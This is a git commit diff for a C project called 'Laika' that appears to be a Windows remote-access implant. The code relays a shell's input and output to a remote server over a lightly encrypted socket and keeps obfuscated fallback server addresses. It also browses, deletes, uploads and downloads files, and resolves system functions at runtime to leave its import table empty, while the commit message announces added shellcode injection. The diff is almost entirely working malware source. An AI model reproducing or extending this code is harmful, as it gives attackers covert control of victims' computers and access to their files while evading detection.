fix: bugs & msvcrt dependencies, add: shellcode injection, runtime imports (blank IAT)
This commit is contained in:
5
.gitignore
vendored
5
.gitignore
vendored
@@ -1,3 +1,6 @@
|
||||
.vim
|
||||
Laika/.vs
|
||||
Laika/release
|
||||
Laika/Release
|
||||
Laika/Laika/Release
|
||||
Laika/Laika/x64
|
||||
*.bin
|
||||
@@ -76,12 +76,19 @@
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
<RunCodeAnalysis>false</RunCodeAnalysis>
|
||||
<EnableClangTidyCodeAnalysis>false</EnableClangTidyCodeAnalysis>
|
||||
<ClangTidyChecks>*</ClangTidyChecks>
|
||||
<EnableMicrosoftCodeAnalysis>false</EnableMicrosoftCodeAnalysis>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<RunCodeAnalysis>true</RunCodeAnalysis>
|
||||
<EnableClangTidyCodeAnalysis>true</EnableClangTidyCodeAnalysis>
|
||||
<ClangTidyChecks>*</ClangTidyChecks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Label="Vcpkg">
|
||||
<VcpkgEnabled>false</VcpkgEnabled>
|
||||
@@ -93,10 +100,12 @@
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>msvcrt.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
@@ -109,7 +118,7 @@
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<CompileAs>CompileAsC</CompileAs>
|
||||
</ClCompile>
|
||||
@@ -123,6 +132,15 @@
|
||||
<StackReserveSize>
|
||||
</StackReserveSize>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<SectionAlignment>
|
||||
</SectionAlignment>
|
||||
<AddModuleNamesToAssembly>
|
||||
</AddModuleNamesToAssembly>
|
||||
<ForceSymbolReferences>
|
||||
</ForceSymbolReferences>
|
||||
<IgnoreSpecificDefaultLibraries>
|
||||
</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
@@ -131,10 +149,12 @@
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>msvcrt.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
@@ -147,16 +167,23 @@
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<FavorSizeOrSpeed>Neither</FavorSizeOrSpeed>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreAllDefaultLibraries>
|
||||
</IgnoreAllDefaultLibraries>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<SectionAlignment>16</SectionAlignment>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="file_explorer.c" />
|
||||
<ClCompile Include="libc.c" />
|
||||
<ClCompile Include="main.c" />
|
||||
<ClCompile Include="resolve_apis.c" />
|
||||
<ClCompile Include="shellcode.c" />
|
||||
@@ -165,6 +192,7 @@
|
||||
<ItemGroup>
|
||||
<ClInclude Include="config.h" />
|
||||
<ClInclude Include="file_explorer.h" />
|
||||
<ClInclude Include="libc.h" />
|
||||
<ClInclude Include="resolve_apis.h" />
|
||||
<ClInclude Include="shellcode.h" />
|
||||
<ClInclude Include="utils.h" />
|
||||
|
||||
@@ -33,6 +33,9 @@
|
||||
<ClCompile Include="shellcode.c">
|
||||
<Filter>Shellcode</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="libc.c">
|
||||
<Filter>Libs</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="utils.h">
|
||||
@@ -50,5 +53,8 @@
|
||||
<ClInclude Include="shellcode.h">
|
||||
<Filter>Shellcode</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="libc.h">
|
||||
<Filter>Libs</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -1,7 +1,7 @@
|
||||
#define FALLBACK_SERVERS 1
|
||||
|
||||
char* fallback_servers[1] = {
|
||||
"6>736;=3638:",
|
||||
"6>736;=3:;36",
|
||||
};
|
||||
|
||||
int fallback_servers_ip[1] = {
|
||||
|
||||
@@ -1,9 +1,6 @@
|
||||
#include "file_explorer.h"
|
||||
#include "utils.h"
|
||||
|
||||
int get_object_info(char* path, struct stat* fileinfo) {
|
||||
return Api.stat(path, fileinfo);
|
||||
}
|
||||
#include "libc.h"
|
||||
|
||||
int get_drives_list(char* buf) {
|
||||
DWORD drives = Api.GetLogicalDrives(); // get a bitmask of available drives
|
||||
@@ -20,12 +17,30 @@ int get_drives_list(char* buf) {
|
||||
return count; // return number of drives found
|
||||
}
|
||||
|
||||
char* get_file_list(const char* dirPath, int* numFiles) {
|
||||
char get_obj_info(const char* dirPath) {
|
||||
char result = 'N';
|
||||
HANDLE hFind = NULL;
|
||||
WIN32_FIND_DATA findData;
|
||||
HANDLE hFind;
|
||||
|
||||
WCHAR searchPath[MAX_PATH];
|
||||
Api.mbstowcs(searchPath, dirPath, MAX_PATH);
|
||||
mbstowcs_(searchPath, dirPath, MAX_PATH);
|
||||
|
||||
wcscat(searchPath, L"\\*.*");
|
||||
hFind = Api.FindFirstFileW(searchPath, &findData);
|
||||
|
||||
if (hFind == INVALID_HANDLE_VALUE)
|
||||
return result;
|
||||
result = (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? 'd' : 'f';
|
||||
Api.FindClose(hFind);
|
||||
return result;
|
||||
}
|
||||
|
||||
char* get_file_list(const char* dirPath, int* numFiles) {
|
||||
WIN32_FIND_DATA findData;
|
||||
HANDLE hFind = NULL;
|
||||
|
||||
WCHAR searchPath[MAX_PATH];
|
||||
mbstowcs_(searchPath, dirPath, MAX_PATH);
|
||||
|
||||
wcscat(searchPath, L"\\*.*");
|
||||
|
||||
@@ -36,7 +51,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
|
||||
|
||||
// Allocate a dynamic array to store the file/folder names
|
||||
int maxFiles = BUFFER_SIZE;
|
||||
char** fileList = (char**)Api.malloc(maxFiles * sizeof(char*));
|
||||
char** fileList = (char**)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, maxFiles * sizeof(char*));
|
||||
int numFound = 0;
|
||||
|
||||
do {
|
||||
@@ -44,7 +59,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
|
||||
WCHAR wFileName[MAX_PATH];
|
||||
wcscpy(wFileName, findData.cFileName);
|
||||
char fileName[MAX_PATH];
|
||||
Api.wcstombs(fileName, wFileName, MAX_PATH);
|
||||
wcstombs_(fileName, wFileName, MAX_PATH);
|
||||
|
||||
// Ignore the "." and ".." folders
|
||||
if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
|
||||
@@ -54,10 +69,10 @@ char* get_file_list(const char* dirPath, int* numFiles) {
|
||||
// Add the file/folder name to the array
|
||||
if (numFound >= maxFiles) {
|
||||
maxFiles *= 2;
|
||||
fileList = (char**)Api.realloc(fileList, maxFiles * sizeof(char*));
|
||||
fileList = (char**)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*));
|
||||
}
|
||||
fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1);
|
||||
Api.strcpy(fileList[numFound], CAESAR(fileName));
|
||||
fileList[numFound] = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, strlen(fileName) + 1);
|
||||
strcpy(fileList[numFound], CAESAR(fileName));
|
||||
numFound++;
|
||||
} while (Api.FindNextFileW(hFind, &findData) != 0);
|
||||
|
||||
@@ -68,7 +83,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
|
||||
for (int i = 0; i < numFound; i++) {
|
||||
bufferSize += strlen(fileList[i]) + 1; // add 1 for the separator
|
||||
}
|
||||
char* fileNames = (char*)Api.malloc(bufferSize);
|
||||
char* fileNames = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, bufferSize);
|
||||
fileNames[0] = '\0';
|
||||
|
||||
// Concatenate the file/folder names separated by "/"
|
||||
@@ -77,10 +92,10 @@ char* get_file_list(const char* dirPath, int* numFiles) {
|
||||
if (i < numFound - 1) {
|
||||
strcat(fileNames, "/");
|
||||
}
|
||||
Api.free(fileList[i]);
|
||||
Api.HeapFree(_crt_heap, 0, fileList[i]);
|
||||
}
|
||||
|
||||
Api.free(fileList);
|
||||
Api.HeapFree(_crt_heap, 0, fileList);
|
||||
|
||||
// Set the numFiles parameter to the number of files/folders found
|
||||
*numFiles = numFound;
|
||||
@@ -90,7 +105,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
|
||||
|
||||
BOOL delete_folder(LPCTSTR lpszDir) {
|
||||
WIN32_FIND_DATA FindFileData;
|
||||
HANDLE hFind;
|
||||
HANDLE hFind = NULL;
|
||||
TCHAR szDir[MAX_PATH];
|
||||
TCHAR szFileName[MAX_PATH];
|
||||
|
||||
@@ -144,13 +159,14 @@ BOOL delete_folder(LPCTSTR lpszDir) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int download_file(FILE* fp, SOCKET sock) {
|
||||
char* data = (char*)Api.malloc(BUFFER_SIZE);
|
||||
int bytes_read, bytes_sent;
|
||||
int download_file(HANDLE fp, SOCKET sock) {
|
||||
char* data = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
|
||||
int bytes_read = 0;
|
||||
int bytes_sent = 0;
|
||||
|
||||
// Send the contents of the file through the socket
|
||||
while (1) {
|
||||
bytes_read = Api.fread(data, 1, BUFFER_SIZE, fp);
|
||||
Api.WriteFile(fp, data, BUFFER_SIZE, &bytes_read, NULL);
|
||||
if (bytes_read == 0) {
|
||||
break;
|
||||
}
|
||||
@@ -167,15 +183,15 @@ int download_file(FILE* fp, SOCKET sock) {
|
||||
FD_SET(sock, &write_fds);
|
||||
|
||||
if (Api.select(sock + 1, NULL, &write_fds, NULL, NULL) == SOCKET_ERROR) {
|
||||
Api.free(data);
|
||||
Api.fclose(fp);
|
||||
Api.HeapFree(_crt_heap, 0, data);
|
||||
Api.CloseHandle(fp);
|
||||
Sleep_(Sleep_TIME);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
else {
|
||||
Api.free(data);
|
||||
Api.fclose(fp);
|
||||
Api.HeapFree(_crt_heap, 0, data);
|
||||
Api.CloseHandle(fp);
|
||||
Sleep_(Sleep_TIME);
|
||||
return 0;
|
||||
}
|
||||
@@ -187,15 +203,15 @@ int download_file(FILE* fp, SOCKET sock) {
|
||||
}
|
||||
}
|
||||
|
||||
Api.fclose(fp);
|
||||
Api.free(data);
|
||||
Api.CloseHandle(fp);
|
||||
Api.HeapFree(_crt_heap, 0, data);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
void upload_file(SOCKET sock, HANDLE file_handle) {
|
||||
// Receive file
|
||||
char* buffer = (char*)Api.malloc(BUFFER_SIZE);
|
||||
char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
|
||||
|
||||
int num_bytes = 0;
|
||||
int total_bytes = 0;
|
||||
@@ -218,7 +234,50 @@ void upload_file(SOCKET sock, HANDLE file_handle) {
|
||||
}
|
||||
|
||||
// Close the file handle
|
||||
Api.free(buffer);
|
||||
Api.HeapFree(_crt_heap, 0, buffer);
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
char* upload_file_to_mem(SOCKET sock, size_t *total_bytes) {
|
||||
char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
|
||||
if (!buffer) {
|
||||
return NULL; // Memory allocation failed
|
||||
}
|
||||
|
||||
int num_bytes = 0;
|
||||
size_t buffer_capacity = BUFFER_SIZE;
|
||||
|
||||
int iOptVal = 5000;
|
||||
int iOptLen = sizeof(int);
|
||||
|
||||
Api.setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOptVal, iOptLen);
|
||||
|
||||
// Download the file content from the socket
|
||||
while ((num_bytes = Api.recv(sock, buffer + *total_bytes, BUFFER_SIZE, 0)) > 0 || (num_bytes == -1 && Api.WSAGetLastError() == WSAEWOULDBLOCK)) {
|
||||
if (num_bytes > 0) {
|
||||
*total_bytes += num_bytes;
|
||||
// Reallocate the buffer if necessary
|
||||
if (*total_bytes + BUFFER_SIZE > buffer_capacity) {
|
||||
buffer_capacity *= 2;
|
||||
char* new_buffer = (char*)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, buffer, buffer_capacity);
|
||||
if (!new_buffer) {
|
||||
Api.HeapFree(_crt_heap, 0, buffer);
|
||||
return NULL; // Memory reallocation failed
|
||||
}
|
||||
buffer = new_buffer;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
buffer[*total_bytes] = '\0';
|
||||
|
||||
// Reallocate to the exact size of the received data
|
||||
char* final_buffer = (char*)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, buffer, *total_bytes);
|
||||
if (!final_buffer) {
|
||||
Api.HeapFree(_crt_heap, 0, buffer);
|
||||
return NULL; // Memory reallocation failed
|
||||
}
|
||||
|
||||
return final_buffer;
|
||||
}
|
||||
|
||||
@@ -14,9 +14,10 @@
|
||||
|
||||
extern API Api;
|
||||
|
||||
int get_object_info(char* path, struct stat* fileinfo);
|
||||
char get_obj_info(const char* dirPath);
|
||||
int get_drives_list(char* buf);
|
||||
BOOL delete_folder(LPCTSTR lpszDir);
|
||||
char* get_file_list(const char* dirPath, int* numFiles);
|
||||
int download_file(FILE* fp, SOCKET sock);
|
||||
void upload_file(SOCKET sock, HANDLE file_handle);
|
||||
int download_file(HANDLE fp, SOCKET sock);
|
||||
void upload_file(SOCKET sock, HANDLE file_handle);
|
||||
char* upload_file_to_mem(SOCKET sock, size_t *total_bytes);
|
||||
|
||||
216
Laika/libc.c
Normal file
216
Laika/libc.c
Normal file
@@ -0,0 +1,216 @@
|
||||
#include "libc.h"
|
||||
#include "resolve_apis.h"
|
||||
|
||||
size_t strlen_(char* src) {
|
||||
size_t s = 0;
|
||||
|
||||
if (src == NULL)
|
||||
return 0;
|
||||
for (; src[s] != 0; s++);
|
||||
return s;
|
||||
}
|
||||
|
||||
char* strcpy_(char* dest, const char* src) {
|
||||
size_t i = 0;
|
||||
|
||||
for (; src[i] != 0; i++)
|
||||
dest[i] = src[i];
|
||||
dest[i] = 0;
|
||||
return dest;
|
||||
}
|
||||
|
||||
void *memset_(void* a, int val, size_t size) {
|
||||
if (a == NULL)
|
||||
return NULL;
|
||||
for (size_t i = 0; i < size; i++)
|
||||
((char*)a)[i] = (char)val;
|
||||
return a;
|
||||
}
|
||||
|
||||
int strncmp_(char* a, char* b, size_t size) {
|
||||
if (a == NULL || b == NULL)
|
||||
return -1;
|
||||
for (size_t i = 0; a[i] != 0 && b[i] != 0 && i < size; i++)
|
||||
if (a[i] != b[i])
|
||||
return a[i] - b[i];
|
||||
return 0;
|
||||
}
|
||||
|
||||
size_t utf8_char_length(unsigned char c) {
|
||||
if ((c & 0x80) == 0) return 1; // 1-byte character: 0xxxxxxx
|
||||
if ((c & 0xE0) == 0xC0) return 2; // 2-byte character: 110xxxxx
|
||||
if ((c & 0xF0) == 0xE0) return 3; // 3-byte character: 1110xxxx
|
||||
if ((c & 0xF8) == 0xF0) return 4; // 4-byte character: 11110xxx
|
||||
return 0; // Invalid UTF-8
|
||||
}
|
||||
|
||||
wchar_t utf8_to_wchar(const unsigned char* mbstr, size_t* length) {
|
||||
wchar_t wc = 0;
|
||||
size_t len = utf8_char_length(mbstr[0]);
|
||||
*length = len;
|
||||
|
||||
switch (len) {
|
||||
case 1:
|
||||
wc = mbstr[0];
|
||||
break;
|
||||
case 2:
|
||||
wc = ((mbstr[0] & 0x1F) << 6) | (mbstr[1] & 0x3F);
|
||||
break;
|
||||
case 3:
|
||||
wc = ((mbstr[0] & 0x0F) << 12) | ((mbstr[1] & 0x3F) << 6) | (mbstr[2] & 0x3F);
|
||||
break;
|
||||
case 4:
|
||||
wc = ((mbstr[0] & 0x07) << 18) | ((mbstr[1] & 0x3F) << 12) | ((mbstr[2] & 0x3F) << 6) | (mbstr[3] & 0x3F);
|
||||
break;
|
||||
default:
|
||||
*length = 0; // Invalid UTF-8
|
||||
break;
|
||||
}
|
||||
return wc;
|
||||
}
|
||||
|
||||
size_t mbstowcs_(wchar_t* dest, const char* src, size_t n) {
|
||||
size_t count = 0;
|
||||
const unsigned char* mbstr = (const unsigned char*)src;
|
||||
|
||||
while (*mbstr != '\0' && count < n) {
|
||||
size_t len = 0;
|
||||
wchar_t wc = utf8_to_wchar(mbstr, &len);
|
||||
if (len == 0)
|
||||
return (size_t)-1;
|
||||
if (dest != NULL)
|
||||
dest[count] = wc;
|
||||
mbstr += len;
|
||||
count++;
|
||||
}
|
||||
if (dest != NULL && count < n)
|
||||
dest[count] = L'\0';
|
||||
return count;
|
||||
}
|
||||
|
||||
size_t wchar_to_utf8(wchar_t wc, unsigned char* utf8) {
|
||||
if (wc <= 0x7F) {
|
||||
utf8[0] = (unsigned char)wc;
|
||||
return 1;
|
||||
}
|
||||
else if (wc <= 0x7FF) {
|
||||
utf8[0] = 0xC0 | ((wc >> 6) & 0x1F);
|
||||
utf8[1] = 0x80 | (wc & 0x3F);
|
||||
return 2;
|
||||
}
|
||||
else if (wc <= 0xFFFF) {
|
||||
utf8[0] = 0xE0 | ((wc >> 12) & 0x0F);
|
||||
utf8[1] = 0x80 | ((wc >> 6) & 0x3F);
|
||||
utf8[2] = 0x80 | (wc & 0x3F);
|
||||
return 3;
|
||||
}
|
||||
else if (wc <= 0x10FFFF) {
|
||||
utf8[0] = 0xF0 | ((wc >> 18) & 0x07);
|
||||
utf8[1] = 0x80 | ((wc >> 12) & 0x3F);
|
||||
utf8[2] = 0x80 | ((wc >> 6) & 0x3F);
|
||||
utf8[3] = 0x80 | (wc & 0x3F);
|
||||
return 4;
|
||||
}
|
||||
return 0; // Invalid wide character
|
||||
}
|
||||
|
||||
size_t wcstombs_(char* dest, const wchar_t* src, size_t n) {
|
||||
size_t count = 0;
|
||||
unsigned char utf8[4];
|
||||
|
||||
while (*src != L'\0' && count < n) {
|
||||
size_t len = wchar_to_utf8(*src, utf8);
|
||||
if (len == 0 || count + len > n)
|
||||
return (size_t)-1;
|
||||
if (dest != NULL) {
|
||||
for (size_t i = 0; i < len; i++)
|
||||
dest[count++] = (char)utf8[i];
|
||||
}
|
||||
else
|
||||
count += len;
|
||||
src++;
|
||||
}
|
||||
if (dest != NULL && count < n)
|
||||
dest[count] = '\0';
|
||||
return count;
|
||||
}
|
||||
|
||||
int wcscmp_(const wchar_t* s1, const wchar_t* s2) {
|
||||
while (*s1 != L'\0' && *s2 != L'\0') {
|
||||
if (*s1 != *s2)
|
||||
return (*s1 < *s2) ? -1 : 1;
|
||||
s1++;
|
||||
s2++;
|
||||
}
|
||||
if (*s1 == L'\0' && *s2 == L'\0')
|
||||
return 0;
|
||||
else if (*s1 == L'\0')
|
||||
return -1;
|
||||
else
|
||||
return 1;
|
||||
}
|
||||
|
||||
wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle) {
|
||||
if (!*needle)
|
||||
return (wchar_t*)haystack;
|
||||
while (*haystack) {
|
||||
const wchar_t* h = haystack;
|
||||
const wchar_t* n = needle;
|
||||
|
||||
while (*h && *n && (*h == *n)) {
|
||||
h++;
|
||||
n++;
|
||||
}
|
||||
if (!*n)
|
||||
return (wchar_t*)haystack;
|
||||
haystack++;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
|
||||
if (hModule == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule;
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew);
|
||||
if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)hModule + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
DWORD* nameRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames);
|
||||
DWORD* addrRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions);
|
||||
WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir->AddressOfNameOrdinals);
|
||||
|
||||
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
|
||||
const char* functionName = (const char*)((BYTE*)hModule + nameRVAs[i]);
|
||||
if (strcmp(functionName, lpProcName) == 0) {
|
||||
DWORD funcRVA = addrRVAs[ordinals[i]];
|
||||
void* funcPtr = (void*)((BYTE*)hModule + funcRVA);
|
||||
return funcPtr;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void* get_ntfunction(const char* func) {
|
||||
PTEB tebPtr = GetTEB();
|
||||
|
||||
PPEB_LDR_DATA ldrData = tebPtr->ProcessEnvironmentBlock->Ldr;
|
||||
PLIST_ENTRY moduleList = &(ldrData->InMemoryOrderModuleList);
|
||||
HMODULE hntdll = 0;
|
||||
for (PLIST_ENTRY entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) {
|
||||
LDR_DATA_TABLE_ENTRY* module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
|
||||
if (wcsstr_(module->FullDllName.Buffer, L"ntdll.dll") != NULL) {
|
||||
hntdll = (HMODULE)(module->DllBase);
|
||||
break;
|
||||
}
|
||||
}
|
||||
return my_GetProcAddress(hntdll, func);
|
||||
}
|
||||
16
Laika/libc.h
Normal file
16
Laika/libc.h
Normal file
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <stddef.h>
|
||||
|
||||
extern HANDLE _crt_heap;
|
||||
|
||||
char* strcpy_(char* dest, const char* src);
|
||||
size_t strlen_(char* src);
|
||||
int strncmp_(char* a, char* b, size_t size);
|
||||
void *memset_(void* a, int val, size_t size);
|
||||
size_t mbstowcs_(wchar_t* dest, const char* src, size_t n);
|
||||
size_t wcstombs_(char* dest, const wchar_t* src, size_t n);
|
||||
int wcscmp_(const wchar_t* s1, const wchar_t* s2);
|
||||
wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle);
|
||||
void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
|
||||
void* get_ntfunction(const char* func);
|
||||
313
Laika/main.c
313
Laika/main.c
@@ -1,30 +1,37 @@
|
||||
#include "libc.h"
|
||||
|
||||
#include <Windows.h>
|
||||
#include <shlobj_core.h>
|
||||
#include <wininet.h>
|
||||
#include <shlobj_core.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "utils.h"
|
||||
#include "config.h"
|
||||
#include "resolve_apis.h"
|
||||
#include "file_explorer.h"
|
||||
|
||||
#define SHELLCODE
|
||||
|
||||
#ifdef SHELLCODE
|
||||
#include "shellcode.h"
|
||||
#endif
|
||||
|
||||
HANDLE g_hChildStd_IN_Rd = NULL;
|
||||
HANDLE g_hChildStd_IN_Wr = NULL;
|
||||
HANDLE g_hChildStd_OUT_Rd = NULL;
|
||||
HANDLE g_hChildStd_OUT_Wr = NULL;
|
||||
|
||||
extern API Api;
|
||||
|
||||
#define BUFFER_SIZE 4096
|
||||
#define SMALL_SLEEP_TIME 50
|
||||
|
||||
DWORD WINAPI redirect_i_thread(LPVOID lpParameter) {
|
||||
SOCKET sock = (SOCKET)lpParameter;
|
||||
char* buffer = (char*)Api.malloc(BUFFER_SIZE);
|
||||
DWORD bytesRead;
|
||||
char* buffer = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
|
||||
DWORD bytesRead = 0;
|
||||
|
||||
while (1) {
|
||||
//Read data from the socket
|
||||
Api.memset(buffer, 0, BUFFER_SIZE);
|
||||
memset_(buffer, 0, BUFFER_SIZE);
|
||||
bytesRead = Api.recv(sock, buffer, BUFFER_SIZE, 0);
|
||||
if (bytesRead > 0) {
|
||||
Api.WriteFile(g_hChildStd_IN_Wr, CAESAR_DECRYPT(buffer), bytesRead, NULL, NULL);
|
||||
@@ -34,23 +41,23 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) {
|
||||
break;
|
||||
}
|
||||
else {
|
||||
Sleep_(50);
|
||||
Sleep_(SMALL_SLEEP_TIME);
|
||||
}
|
||||
}
|
||||
|
||||
Api.free(buffer);
|
||||
Api.HeapFree(_crt_heap, 0, buffer);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI redirect_o_thread(LPVOID lpParameter) {
|
||||
SOCKET sock = (SOCKET)lpParameter;
|
||||
char* buffer = (char*)Api.malloc(BUFFER_SIZE);
|
||||
DWORD bytesRead;
|
||||
char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
|
||||
DWORD bytesRead = 0;
|
||||
|
||||
while (1) {
|
||||
// Read data from the child process's stdout pipe
|
||||
if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, BUFFER_SIZE, &bytesRead, NULL)) {
|
||||
Api.send(sock, CAESAR(buffer), bytesRead, 0);
|
||||
Api.send(sock, CAESAR(buffer), (int)bytesRead, 0);
|
||||
//Api.send(sock, buffer, bytesRead, 0);
|
||||
}
|
||||
else {
|
||||
@@ -62,7 +69,7 @@ DWORD WINAPI redirect_o_thread(LPVOID lpParameter) {
|
||||
}
|
||||
}
|
||||
|
||||
Api.free(buffer);
|
||||
Api.HeapFree(_crt_heap, 0, buffer);
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -76,19 +83,15 @@ DWORD WINAPI watch_process(LPVOID lpParameter) {
|
||||
watch_process_args* args = (watch_process_args*)(lpParameter);
|
||||
|
||||
char buffer[1]; // buffer to hold the data
|
||||
int n;
|
||||
int n = 0;
|
||||
|
||||
while (1) {
|
||||
n = Api.recv(args->sock, buffer, sizeof(buffer), MSG_PEEK);
|
||||
if (n > 0) {
|
||||
// There is data available on the socket, so the connection is still alive
|
||||
}
|
||||
else if (n == 0) {
|
||||
// The connection has been closed
|
||||
break;
|
||||
}
|
||||
else {
|
||||
// An error occurred
|
||||
// An error occurred or the connection has been closed
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -107,21 +110,20 @@ void SendShellEndedSignal(SOCKET sock) {
|
||||
}
|
||||
|
||||
int serv = -1;
|
||||
int main() {
|
||||
HANDLE _crt_heap = 0;
|
||||
int main(void) {
|
||||
InitApis();
|
||||
|
||||
Message();
|
||||
|
||||
Tmemset memset = Api.memset;
|
||||
_crt_heap = Api.HeapCreate(0, 0, 0);
|
||||
|
||||
wchar_t wtext[20];
|
||||
